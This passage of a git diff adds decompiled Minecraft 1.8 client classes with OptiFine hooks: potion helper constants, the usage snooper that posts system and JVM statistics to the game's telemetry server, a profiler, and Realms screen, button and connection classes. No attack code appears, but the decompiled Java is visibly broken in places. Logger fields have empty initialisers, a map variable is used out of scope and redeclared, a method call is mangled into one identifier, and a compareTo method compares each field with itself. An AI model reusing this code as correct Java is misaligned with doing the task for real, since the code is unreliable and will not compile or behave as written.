+  private static final String[] potionPrefixes = { "potion.prefix.mundane", "potion.prefix.uninteresting", "potion.prefix.bland", "potion.prefix.clear", "potion.prefix.milky", "potion.prefix.diffuse", "potion.prefix.artless", "potion.prefix.thin", "potion.prefix.awkward", "potion.prefix.flat", "potion.prefix.bulky", "potion.prefix.bungling", "potion.prefix.buttered", "potion.prefix.smooth", "potion.prefix.suave", "potion.prefix.debonair", "potion.prefix.thick", "potion.prefix.elegant", "potion.prefix.fancy", "potion.prefix.charming", "potion.prefix.dashing", "potion.prefix.refined", "potion.prefix.cordial", "potion.prefix.sparkling", "potion.prefix.potent", "potion.prefix.foul", "potion.prefix.odorless", "potion.prefix.rank", "potion.prefix.harsh", "potion.prefix.acrid", "potion.prefix.gross", "potion.prefix.stinky" };
+  public static final String sugarEffect;
+  public static final String ghastTearEffect = "+0-1-2-3&4-4+13";
+  public static final String spiderEyeEffect;
+  public static final String fermentedSpiderEyeEffect;
+  public static final String speckledMelonEffect;
+  public static final String blazePowderEffect;
+  public static final String magmaCreamEffect;
+  public static final String glowstoneEffect;
+  public static final String goldenCarrotEffect;
+  public static final String field_151423_m;
+  public static final String field_179538_n;
+  
+  public PotionHelper() {}
+}
diff --git a/src/minecraft/net/minecraft/profiler/IPlayerUsage.java b/src/minecraft/net/minecraft/profiler/IPlayerUsage.java
new file mode 100644
index 0000000..1d880ce
--- /dev/null
+++ b/src/minecraft/net/minecraft/profiler/IPlayerUsage.java
@@ -0,0 +1,10 @@
+package net.minecraft.profiler;
+
+public abstract interface IPlayerUsage
+{
+  public abstract void addServerStatsToSnooper(PlayerUsageSnooper paramPlayerUsageSnooper);
+  
+  public abstract void addServerTypeToSnooper(PlayerUsageSnooper paramPlayerUsageSnooper);
+  
+  public abstract boolean isSnooperEnabled();
+}
diff --git a/src/minecraft/net/minecraft/profiler/PlayerUsageSnooper.java b/src/minecraft/net/minecraft/profiler/PlayerUsageSnooper.java
new file mode 100644
index 0000000..bb02955
--- /dev/null
+++ b/src/minecraft/net/minecraft/profiler/PlayerUsageSnooper.java
@@ -0,0 +1,205 @@
+package net.minecraft.profiler;
+
+import com.google.common.collect.Maps;
+import java.lang.management.ManagementFactory;
+import java.lang.management.RuntimeMXBean;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.Timer;
+import java.util.UUID;
+import net.minecraft.util.HttpUtil;
+
+public class PlayerUsageSnooper
+{
+  private final Map field_152773_a = Maps.newHashMap();
+  private final Map field_152774_b = Maps.newHashMap();
+  private final String uniqueID = UUID.randomUUID().toString();
+  
+
+  private final URL serverUrl;
+  
+  private final IPlayerUsage playerStatsCollector;
+  
+  private final Timer threadTrigger = new Timer("Snooper Timer", true);
+  private final Object syncLock = new Object();
+  
+  private final long minecraftStartTimeMilis;
+  
+  private boolean isRunning;
+  private int selfCounter;
+  private static final String __OBFID = "CL_00001515";
+  
+  public PlayerUsageSnooper(String p_i1563_1_, IPlayerUsage p_i1563_2_, long p_i1563_3_)
+  {
+    try
+    {
+      serverUrl = new URL("http://snoop.minecraft.net/" + p_i1563_1_ + "?version=" + 2);
+    }
+    catch (MalformedURLException var6)
+    {
+      throw new IllegalArgumentException();
+    }
+    
+    playerStatsCollector = p_i1563_2_;
+    minecraftStartTimeMilis = p_i1563_3_;
+  }
+  
+
+
+
+  public void startSnooper()
+  {
+    if (!isRunning)
+    {
+      isRunning = true;
+      func_152766_h();
+      threadTrigger.schedule(new java.util.TimerTask()
+      {
+        private static final String __OBFID = "CL_00001516";
+        
+        public void run() {
+          if (playerStatsCollector.isSnooperEnabled())
+          {
+
+
+            synchronized (syncLock)
+            {
+              HashMap var1 = Maps.newHashMap(field_152774_b);
+              
+              if (selfCounter == 0)
+              {
+                var1.putAll(field_152773_a);
+              }
+              
+              var1.put("snooper_count", Integer.valueOf(PlayerUsageSnooper.access$308(PlayerUsageSnooper.this)));
+              var1.put("snooper_token", uniqueID);
+            }
+            HashMap var1;
+            HttpUtil.postMap(serverUrl, var1, true);
+          }
+        }
+      }, 0L, 900000L);
+    }
+  }
+  
+  private void func_152766_h()
+  {
+    addJvmArgsToSnooper();
+    addClientStat("snooper_token", uniqueID);
+    addStatToSnooper("snooper_token", uniqueID);
+    addStatToSnooper("os_name", System.getProperty("os.name"));
+    addStatToSnooper("os_version", System.getProperty("os.version"));
+    addStatToSnooper("os_architecture", System.getProperty("os.arch"));
+    addStatToSnooper("java_version", System.getProperty("java.version"));
+    addStatToSnooper("version", "1.8");
+    playerStatsCollector.addServerTypeToSnooper(this);
+  }
+  
+  private void addJvmArgsToSnooper()
+  {
+    RuntimeMXBean var1 = ManagementFactory.getRuntimeMXBean();
+    List var2 = var1.getInputArguments();
+    int var3 = 0;
+    Iterator var4 = var2.iterator();
+    
+    while (var4.hasNext())
+    {
+      String var5 = (String)var4.next();
+      
+      if (var5.startsWith("-X"))
+      {
+        addClientStat("jvm_arg[" + var3++ + "]", var5);
+      }
+    }
+    
+    addClientStat("jvm_args", Integer.valueOf(var3));
+  }
+  
+  public void addMemoryStatsToSnooper()
+  {
+    addStatToSnooper("memory_total", Long.valueOf(Runtime.getRuntime().totalMemory()));
+    addStatToSnooper("memory_max", Long.valueOf(Runtime.getRuntime().maxMemory()));
+    addStatToSnooper("memory_free", Long.valueOf(Runtime.getRuntime().freeMemory()));
+    addStatToSnooper("cpu_cores", Integer.valueOf(Runtime.getRuntime().availableProcessors()));
+    playerStatsCollector.addServerStatsToSnooper(this);
+  }
+  
+  public void addClientStat(String p_152768_1_, Object p_152768_2_)
+  {
+    Object var3 = syncLock;
+    
+    synchronized (syncLock)
+    {
+      field_152774_b.put(p_152768_1_, p_152768_2_);
+    }
+  }
+  
+  public void addStatToSnooper(String p_152767_1_, Object p_152767_2_)
+  {
+    Object var3 = syncLock;
+    
+    synchronized (syncLock)
+    {
+      field_152773_a.put(p_152767_1_, p_152767_2_);
+    }
+  }
+  
+  public Map getCurrentStats()
+  {
+    LinkedHashMap var1 = Maps.newLinkedHashMap();
+    Object var2 = syncLock;
+    
+    synchronized (syncLock)
+    {
+      addMemoryStatsToSnooper();
+      Iterator var3 = field_152773_a.entrySet().iterator();
+      
+
+      while (var3.hasNext())
+      {
+        Map.Entry var4 = (Map.Entry)var3.next();
+        var1.put(var4.getKey(), var4.getValue().toString());
+      }
+      
+      var3 = field_152774_b.entrySet().iterator();
+      
+      while (var3.hasNext())
+      {
+        Map.Entry var4 = (Map.Entry)var3.next();
+        var1.put(var4.getKey(), var4.getValue().toString());
+      }
+      
+      return var1;
+    }
+  }
+  
+  public boolean isSnooperRunning()
+  {
+    return isRunning;
+  }
+  
+  public void stopSnooper()
+  {
+    threadTrigger.cancel();
+  }
+  
+  public String getUniqueID()
+  {
+    return uniqueID;
+  }
+  
+
+
+
+  public long getMinecraftStartTimeMillis()
+  {
+    return minecraftStartTimeMilis;
+  }
+}
diff --git a/src/minecraft/net/minecraft/profiler/Profiler.java b/src/minecraft/net/minecraft/profiler/Profiler.java
new file mode 100644
index 0000000..b0aa756
--- /dev/null
+++ b/src/minecraft/net/minecraft/profiler/Profiler.java
@@ -0,0 +1,287 @@
+package net.minecraft.profiler;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import optifine.Config;
+import optifine.Lagometer;
+import optifine.Lagometer.TimerNano;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class Profiler
+{
+  private static final Logger logger = ;
+  
+
+  private final List sectionList = Lists.newArrayList();
+  
+
+  private final List timestampList = Lists.newArrayList();
+  
+
+  public boolean profilingEnabled;
+  
+
+  private String profilingSection = "";
+  
+
+  private final Map profilingMap = Maps.newHashMap();
+  private static final String __OBFID = "CL_00001497";
+  public boolean profilerGlobalEnabled = true;
+  private boolean profilerLocalEnabled;
+  private static final String SCHEDULED_EXECUTABLES = "scheduledExecutables";
+  private static final String TICK = "tick";
+  private static final String PRE_RENDER_ERRORS = "preRenderErrors";
+  private static final String RENDER = "render";
+  private static final String DISPLAY = "display";
+  private static final int HASH_SCHEDULED_EXECUTABLES = "scheduledExecutables".hashCode();
+  private static final int HASH_TICK = "tick".hashCode();
+  private static final int HASH_PRE_RENDER_ERRORS = "preRenderErrors".hashCode();
+  private static final int HASH_RENDER = "render".hashCode();
+  private static final int HASH_DISPLAY = "display".hashCode();
+  
+  public Profiler()
+  {
+    profilerLocalEnabled = profilerGlobalEnabled;
+  }
+  
+
+
+
+  public void clearProfiling()
+  {
+    profilingMap.clear();
+    profilingSection = "";
+    sectionList.clear();
+    profilerLocalEnabled = profilerGlobalEnabled;
+  }
+  
+
+
+
+
+
+  public void startSection(String name)
+  {
+    if (Lagometer.isActive())
+    {
+      int hashName = name.hashCode();
+      
+      if ((hashName == HASH_SCHEDULED_EXECUTABLES) && (name.equals("scheduledExecutables")))
+      {
+        Lagometer.timerScheduledExecutables.start();
+      }
+      else if ((hashName == HASH_TICK) && (name.equals("tick")) && (Config.isMinecraftThread()))
+      {
+        Lagometer.timerScheduledExecutables.end();
+        Lagometer.timerTick.start();
+      }
+      else if ((hashName == HASH_PRE_RENDER_ERRORS) && (name.equals("preRenderErrors")))
+      {
+        Lagometer.timerTick.end();
+      }
+    }
+    
+    if (Config.isFastRender())
+    {
+      int hashName = name.hashCode();
+      
+      if ((hashName == HASH_RENDER) && (name.equals("render")))
+      {
+        net.minecraft.client.renderer.GlStateManager.clearEnabled = false;
+      }
+      else if ((hashName == HASH_DISPLAY) && (name.equals("display")))
+      {
+        net.minecraft.client.renderer.GlStateManager.clearEnabled = true;
+      }
+    }
+    
+    if (profilerLocalEnabled)
+    {
+      if (profilingEnabled)
+      {
+        if (profilingSection.length() > 0)
+        {
+          profilingSection += ".";
+        }
+        
+        profilingSection += name;
+        sectionList.add(profilingSection);
+        timestampList.add(Long.valueOf(System.nanoTime()));
+      }
+    }
+  }
+  
+
+
+
+  public void endSection()
+  {
+    if (profilerLocalEnabled)
+    {
+      if (profilingEnabled)
+      {
+        long var1 = System.nanoTime();
+        long var3 = ((Long)timestampList.remove(timestampList.size() - 1)).longValue();
+        sectionList.remove(sectionList.size() - 1);
+        long var5 = var1 - var3;
+        
+        if (profilingMap.containsKey(profilingSection))
+        {
+          profilingMap.put(profilingSection, Long.valueOf(((Long)profilingMap.get(profilingSection)).longValue() + var5));
+        }
+        else
+        {
+          profilingMap.put(profilingSection, Long.valueOf(var5));
+        }
+        
+        if (var5 > 100000000L)
+        {
+          logger.warn("Something's taking too long! '" + profilingSection + "' took aprox " + var5 / 1000000.0D + " ms");
+        }
+        
+        profilingSection = (!sectionList.isEmpty() ? (String)sectionList.get(sectionList.size() - 1) : "");
+      }
+    }
+  }
+  
+
+
+
+  public List getProfilingData(String p_76321_1_)
+  {
+    profilerLocalEnabled = profilerGlobalEnabled;
+    
+    if (!profilerLocalEnabled)
+    {
+      return new ArrayList(Arrays.asList(new Result[] { new Result("root", 0.0D, 0.0D) }));
+    }
+    if (!profilingEnabled)
+    {
+      return null;
+    }
+    
+
+    long var3 = profilingMap.containsKey("root") ? ((Long)profilingMap.get("root")).longValue() : 0L;
+    long var5 = profilingMap.containsKey(p_76321_1_) ? ((Long)profilingMap.get(p_76321_1_)).longValue() : -1L;
+    ArrayList var7 = Lists.newArrayList();
+    
+    if (p_76321_1_.length() > 0)
+    {
+      p_76321_1_ = p_76321_1_ + ".";
+    }
+    
+    long var8 = 0L;
+    Iterator var10 = profilingMap.keySet().iterator();
+    
+    while (var10.hasNext())
+    {
+      String var20 = (String)var10.next();
+      
+      if ((var20.length() > p_76321_1_.length()) && (var20.startsWith(p_76321_1_)) && (var20.indexOf(".", p_76321_1_.length() + 1) < 0))
+      {
+        var8 += ((Long)profilingMap.get(var20)).longValue();
+      }
+    }
+    
+    float var201 = (float)var8;
+    
+    if (var8 < var5)
+    {
+      var8 = var5;
+    }
+    
+    if (var3 < var8)
+    {
+      var3 = var8;
+    }
+    
+    Iterator var21 = profilingMap.keySet().iterator();
+    
+
+    while (var21.hasNext())
+    {
+      String var12 = (String)var21.next();
+      
+      if ((var12.length() > p_76321_1_.length()) && (var12.startsWith(p_76321_1_)) && (var12.indexOf(".", p_76321_1_.length() + 1) < 0))
+      {
+        long var13 = ((Long)profilingMap.get(var12)).longValue();
+        double var15 = var13 * 100.0D / var8;
+        double var17 = var13 * 100.0D / var3;
+        String var19 = var12.substring(p_76321_1_.length());
+        var7.add(new Result(var19, var15, var17));
+      }
+    }
+    
+    var21 = profilingMap.keySet().iterator();
+    
+    while (var21.hasNext())
+    {
+      String var12 = (String)var21.next();
+      profilingMap.put(var12, Long.valueOf(((Long)profilingMap.get(var12)).longValue() * 950L / 1000L));
+    }
+    
+    if ((float)var8 > var201)
+    {
+      var7.add(new Result("unspecified", ((float)var8 - var201) * 100.0D / var8, ((float)var8 - var201) * 100.0D / var3));
+    }
+    
+    Collections.sort(var7);
+    var7.add(0, new Result(p_76321_1_, 100.0D, var8 * 100.0D / var3));
+    return var7;
+  }
+  
+
+
+
+
+  public void endStartSection(String name)
+  {
+    if (profilerLocalEnabled)
+    {
+      endSection();
+      startSection(name);
+    }
+  }
+  
+  public String getNameOfLastSection()
+  {
+    return sectionList.size() == 0 ? "[UNKNOWN]" : (String)sectionList.get(sectionList.size() - 1);
+  }
+  
+  public static final class Result implements Comparable
+  {
+    public double field_76332_a;
+    public double field_76330_b;
+    public String field_76331_c;
+    
+    public Result(String p_i1554_1_, double p_i1554_2_, double p_i1554_4_)
+    {
+      field_76331_c = p_i1554_1_;
+      field_76332_a = p_i1554_2_;
+      field_76330_b = p_i1554_4_;
+    }
+    
+    public int compareTo(Result p_compareTo_1_)
+    {
+      return field_76332_a > field_76332_a ? 1 : field_76332_a < field_76332_a ? -1 : field_76331_c.compareTo(field_76331_c);
+    }
+    
+    public int func_76329_a()
+    {
+      return (field_76331_c.hashCode() & 0xAAAAAA) + 4473924;
+    }
+    
+    public int compareTo(Object p_compareTo_1_)
+    {
+      return compareTo((Result)p_compareTo_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/DisconnectedRealmsScreen.java b/src/minecraft/net/minecraft/realms/DisconnectedRealmsScreen.java
new file mode 100644
index 0000000..12c0aef
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/DisconnectedRealmsScreen.java
@@ -0,0 +1,62 @@
+package net.minecraft.realms;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.util.IChatComponent;
+
+public class DisconnectedRealmsScreen extends RealmsScreen
+{
+  private String title;
+  private IChatComponent reason;
+  private List lines;
+  private final RealmsScreen parent;
+  private static final String __OBFID = "CL_00002145";
+  
+  public DisconnectedRealmsScreen(RealmsScreen p_i45742_1_, String p_i45742_2_, IChatComponent p_i45742_3_)
+  {
+    parent = p_i45742_1_;
+    title = getLocalizedString(p_i45742_2_);
+    reason = p_i45742_3_;
+  }
+  
+  public void init()
+  {
+    buttonsClear();
+    buttonsAdd(newButton(0, width() / 2 - 100, height() / 4 + 120 + 12, getLocalizedString("gui.back")));
+    lines = fontSplit(reason.getFormattedText(), width() - 50);
+  }
+  
+  public void keyPressed(char p_keyPressed_1_, int p_keyPressed_2_)
+  {
+    if (p_keyPressed_2_ == 1)
+    {
+      Realms.setScreen(parent);
+    }
+  }
+  
+  public void buttonClicked(RealmsButton p_buttonClicked_1_)
+  {
+    if (p_buttonClicked_1_.id() == 0)
+    {
+      Realms.setScreen(parent);
+    }
+  }
+  
+  public void render(int p_render_1_, int p_render_2_, float p_render_3_)
+  {
+    renderBackground();
+    drawCenteredString(title, width() / 2, height() / 2 - 50, 11184810);
+    int var4 = height() / 2 - 30;
+    
+    if (lines != null)
+    {
+      for (Iterator var5 = lines.iterator(); var5.hasNext(); var4 += fontLineHeight())
+      {
+        String var6 = (String)var5.next();
+        drawCenteredString(var6, width() / 2, var4, 16777215);
+      }
+    }
+    
+    super.render(p_render_1_, p_render_2_, p_render_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/Realms.java b/src/minecraft/net/minecraft/realms/Realms.java
new file mode 100644
index 0000000..ae2dce2
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/Realms.java
@@ -0,0 +1,80 @@
+package net.minecraft.realms;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.Session;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class Realms
+{
+  private static final String __OBFID = "CL_00001892";
+  
+  public Realms() {}
+  
+  public static boolean isTouchScreen()
+  {
+    return getMinecraftgameSettings.touchscreen;
+  }
+  
+  public static java.net.Proxy getProxy()
+  {
+    return Minecraft.getMinecraft().getProxy();
+  }
+  
+  public static String sessionId()
+  {
+    Session var0 = Minecraft.getMinecraft().getSession();
+    return var0 == null ? null : var0.getSessionID();
+  }
+  
+  public static String userName()
+  {
+    Session var0 = Minecraft.getMinecraft().getSession();
+    return var0 == null ? null : var0.getUsername();
+  }
+  
+  public static long currentTimeMillis()
+  {
+    return Minecraft.getSystemTime();
+  }
+  
+  public static String getSessionId()
+  {
+    return Minecraft.getMinecraft().getSession().getSessionID();
+  }
+  
+  public static String getName()
+  {
+    return Minecraft.getMinecraft().getSession().getUsername();
+  }
+  
+  public static String uuidToName(String p_uuidToName_0_)
+  {
+    return Minecraft.getMinecraft().getSessionService().fillProfileProperties(new GameProfile(com.mojang.util.UUIDTypeAdapter.fromString(p_uuidToName_0_), null), false).getName();
+  }
+  
+  public static void setScreen(RealmsScreen p_setScreen_0_)
+  {
+    Minecraft.getMinecraft().displayGuiScreen(p_setScreen_0_.getProxy());
+  }
+  
+  public static String getGameDirectoryPath()
+  {
+    return getMinecraftmcDataDir.getAbsolutePath();
+  }
+  
+  public static int survivalId()
+  {
+    return WorldSettings.GameType.SURVIVAL.getID();
+  }
+  
+  public static int creativeId()
+  {
+    return WorldSettings.GameType.CREATIVE.getID();
+  }
+  
+  public static int adventureId()
+  {
+    return WorldSettings.GameType.ADVENTURE.getID();
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsAnvilLevelStorageSource.java b/src/minecraft/net/minecraft/realms/RealmsAnvilLevelStorageSource.java
new file mode 100644
index 0000000..a61ca4c
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsAnvilLevelStorageSource.java
@@ -0,0 +1,80 @@
+package net.minecraft.realms;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.AnvilConverterException;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.SaveFormatComparator;
+
+public class RealmsAnvilLevelStorageSource
+{
+  private ISaveFormat levelStorageSource;
+  private static final String __OBFID = "CL_00001856";
+  
+  public RealmsAnvilLevelStorageSource(ISaveFormat p_i1106_1_)
+  {
+    levelStorageSource = p_i1106_1_;
+  }
+  
+  public String getName()
+  {
+    return levelStorageSource.func_154333_a();
+  }
+  
+  public boolean levelExists(String p_levelExists_1_)
+  {
+    return levelStorageSource.canLoadWorld(p_levelExists_1_);
+  }
+  
+  public boolean convertLevel(String p_convertLevel_1_, IProgressUpdate p_convertLevel_2_)
+  {
+    return levelStorageSource.convertMapFormat(p_convertLevel_1_, p_convertLevel_2_);
+  }
+  
+  public boolean requiresConversion(String p_requiresConversion_1_)
+  {
+    return levelStorageSource.isOldMapFormat(p_requiresConversion_1_);
+  }
+  
+  public boolean isNewLevelIdAcceptable(String p_isNewLevelIdAcceptable_1_)
+  {
+    return levelStorageSource.func_154335_d(p_isNewLevelIdAcceptable_1_);
+  }
+  
+  public boolean deleteLevel(String p_deleteLevel_1_)
+  {
+    return levelStorageSource.deleteWorldDirectory(p_deleteLevel_1_);
+  }
+  
+  public boolean isConvertible(String p_isConvertible_1_)
+  {
+    return levelStorageSource.func_154334_a(p_isConvertible_1_);
+  }
+  
+  public void renameLevel(String p_renameLevel_1_, String p_renameLevel_2_)
+  {
+    levelStorageSource.renameWorld(p_renameLevel_1_, p_renameLevel_2_);
+  }
+  
+  public void clearAll()
+  {
+    levelStorageSource.flushCache();
+  }
+  
+  public List getLevelList() throws AnvilConverterException
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = levelStorageSource.getSaveList().iterator();
+    
+    while (var2.hasNext())
+    {
+      SaveFormatComparator var3 = (SaveFormatComparator)var2.next();
+      var1.add(new RealmsLevelSummary(var3));
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsBridge.java b/src/minecraft/net/minecraft/realms/RealmsBridge.java
new file mode 100644
index 0000000..eec9da5
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsBridge.java
@@ -0,0 +1,37 @@
+package net.minecraft.realms;
+
+import java.lang.reflect.Constructor;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsBridge extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  private GuiScreen previousScreen;
+  private static final String __OBFID = "CL_00001869";
+  
+  public RealmsBridge() {}
+  
+  public void switchToRealms(GuiScreen p_switchToRealms_1_) { previousScreen = p_switchToRealms_1_;
+    
+    try
+    {
+      Class var2 = Class.forName("com.mojang.realmsclient.RealmsMainScreen");
+      Constructor var3 = var2.getDeclaredConstructor(new Class[] { RealmsScreen.class });
+      var3.setAccessible(true);
+      Object var4 = var3.newInstance(new Object[] { this });
+      Minecraft.getMinecraft().displayGuiScreen(((RealmsScreen)var4).getProxy());
+    }
+    catch (Exception var5)
+    {
+      LOGGER.error("Realms module missing", var5);
+    }
+  }
+  
+  public void init()
+  {
+    Minecraft.getMinecraft().displayGuiScreen(previousScreen);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsButton.java b/src/minecraft/net/minecraft/realms/RealmsButton.java
new file mode 100644
index 0000000..1e3790a
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsButton.java
@@ -0,0 +1,84 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiButtonRealmsProxy;
+import net.minecraft.util.ResourceLocation;
+
+public class RealmsButton
+{
+  protected static final ResourceLocation WIDGETS_LOCATION = new ResourceLocation("textures/gui/widgets.png");
+  private GuiButtonRealmsProxy proxy;
+  private static final String __OBFID = "CL_00001890";
+  
+  public RealmsButton(int p_i1177_1_, int p_i1177_2_, int p_i1177_3_, String p_i1177_4_)
+  {
+    proxy = new GuiButtonRealmsProxy(this, p_i1177_1_, p_i1177_2_, p_i1177_3_, p_i1177_4_);
+  }
+  
+  public RealmsButton(int p_i1178_1_, int p_i1178_2_, int p_i1178_3_, int p_i1178_4_, int p_i1178_5_, String p_i1178_6_)
+  {
+    proxy = new GuiButtonRealmsProxy(this, p_i1178_1_, p_i1178_2_, p_i1178_3_, p_i1178_6_, p_i1178_4_, p_i1178_5_);
+  }
+  
+  public GuiButton getProxy()
+  {
+    return proxy;
+  }
+  
+  public int id()
+  {
+    return proxy.getId();
+  }
+  
+  public boolean active()
+  {
+    return proxy.getEnabled();
+  }
+  
+  public void active(boolean p_active_1_)
+  {
+    proxy.setEnabled(p_active_1_);
+  }
+  
+  public void msg(String p_msg_1_)
+  {
+    proxy.setText(p_msg_1_);
+  }
+  
+  public int getWidth()
+  {
+    return proxy.getButtonWidth();
+  }
+  
+  public int getHeight()
+  {
+    return proxy.func_175232_g();
+  }
+  
+  public int y()
+  {
+    return proxy.getPositionY();
+  }
+  
+  public void render(int p_render_1_, int p_render_2_)
+  {
+    proxy.drawButton(Minecraft.getMinecraft(), p_render_1_, p_render_2_);
+  }
+  
+  public void clicked(int p_clicked_1_, int p_clicked_2_) {}
+  
+  public void released(int p_released_1_, int p_released_2_) {}
+  
+  public void blit(int p_blit_1_, int p_blit_2_, int p_blit_3_, int p_blit_4_, int p_blit_5_, int p_blit_6_)
+  {
+    proxy.drawTexturedModalRect(p_blit_1_, p_blit_2_, p_blit_3_, p_blit_4_, p_blit_5_, p_blit_6_);
+  }
+  
+  public void renderBg(int p_renderBg_1_, int p_renderBg_2_) {}
+  
+  public int getYImage(boolean p_getYImage_1_)
+  {
+    return proxy.func_154312_c(p_getYImage_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsClickableScrolledSelectionList.java b/src/minecraft/net/minecraft/realms/RealmsClickableScrolledSelectionList.java
new file mode 100644
index 0000000..c10d8e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsClickableScrolledSelectionList.java
@@ -0,0 +1,93 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.gui.GuiClickableScrolledSelectionListProxy;
+
+public class RealmsClickableScrolledSelectionList
+{
+  private final GuiClickableScrolledSelectionListProxy proxy;
+  private static final String __OBFID = "CL_00002366";
+  
+  public RealmsClickableScrolledSelectionList(int p_i46052_1_, int p_i46052_2_, int p_i46052_3_, int p_i46052_4_, int p_i46052_5_)
+  {
+    proxy = new GuiClickableScrolledSelectionListProxy(this, p_i46052_1_, p_i46052_2_, p_i46052_3_, p_i46052_4_, p_i46052_5_);
+  }
+  
+  public void render(int p_render_1_, int p_render_2_, float p_render_3_)
+  {
+    proxy.drawScreen(p_render_1_, p_render_2_, p_render_3_);
+  }
+  
+  public int width()
+  {
+    return proxy.func_178044_e();
+  }
+  
+  public int ym()
+  {
+    return proxy.func_178042_f();
+  }
+  
+  public int xm()
+  {
+    return proxy.func_178045_g();
+  }
+  
+  protected void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, Tezzelator p_renderItem_5_, int p_renderItem_6_, int p_renderItem_7_) {}
+  
+  public void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, int p_renderItem_5_, int p_renderItem_6_)
+  {
+    renderItem(p_renderItem_1_, p_renderItem_2_, p_renderItem_3_, p_renderItem_4_, Tezzelator.instance, p_renderItem_5_, p_renderItem_6_);
+  }
+  
+  public int getItemCount()
+  {
+    return 0;
+  }
+  
+  public void selectItem(int p_selectItem_1_, boolean p_selectItem_2_, int p_selectItem_3_, int p_selectItem_4_) {}
+  
+  public boolean isSelectedItem(int p_isSelectedItem_1_)
+  {
+    return false;
+  }
+  
+  public void renderBackground() {}
+  
+  public int getMaxPosition()
+  {
+    return 0;
+  }
+  
+  public int getScrollbarPosition()
+  {
+    return proxy.func_178044_e() / 2 + 124;
+  }
+  
+  public void mouseEvent()
+  {
+    proxy.func_178039_p();
+  }
+  
+  public void customMouseEvent(int p_customMouseEvent_1_, int p_customMouseEvent_2_, int p_customMouseEvent_3_, float p_customMouseEvent_4_, int p_customMouseEvent_5_) {}
+  
+  public void scroll(int p_scroll_1_)
+  {
+    proxy.scrollBy(p_scroll_1_);
+  }
+  
+  public int getScroll()
+  {
+    return proxy.getAmountScrolled();
+  }
+  
+  protected void renderList(int p_renderList_1_, int p_renderList_2_, int p_renderList_3_, int p_renderList_4_) {}
+  
+  public void itemClicked(int p_itemClicked_1_, int p_itemClicked_2_, int p_itemClicked_3_, int p_itemClicked_4_, int p_itemClicked_5_) {}
+  
+  public void renderSelected(int p_renderSelected_1_, int p_renderSelected_2_, int p_renderSelected_3_, Tezzelator p_renderSelected_4_) {}
+  
+  public void setLeftPos(int p_setLeftPos_1_)
+  {
+    proxy.setSlotXBoundsFromLeft(p_setLeftPos_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsConnect.java b/src/minecraft/net/minecraft/realms/RealmsConnect.java
new file mode 100644
index 0000000..9bd6aab
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsConnect.java
@@ -0,0 +1,189 @@
+package net.minecraft.realms;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.network.NetHandlerLoginClient;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.login.client.C00PacketLoginStart;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.Session;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsConnect
+{
+  private static final Logger LOGGER = ;
+  private final RealmsScreen onlineScreen;
+  private volatile boolean aborted = false;
+  private NetworkManager connection;
+  private static final String __OBFID = "CL_00001844";
+  
+  public RealmsConnect(RealmsScreen p_i1079_1_)
+  {
+    onlineScreen = p_i1079_1_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void connect(final String p_connect_1_, final int p_connect_2_)
+  {
+    new Thread("Realms-connect-task")
+    {
+      private static final String __OBFID = "CL_00001808";
+      
+      public void run()
+      {
+        InetAddress var1 = null;
+        
+        try
+        {
+          var1 = InetAddress.getByName(p_connect_1_);
+          
+          if (aborted)
+          {
+            return;
+          }
+          
+          connection = NetworkManager.provideLanClient(var1, p_connect_2_);
+          
+          if (aborted)
+          {
+            return;
+          }
+          
+          connection.setNetHandler(new NetHandlerLoginClient(connection, Minecraft.getMinecraft(), onlineScreen.getProxy()));
+          
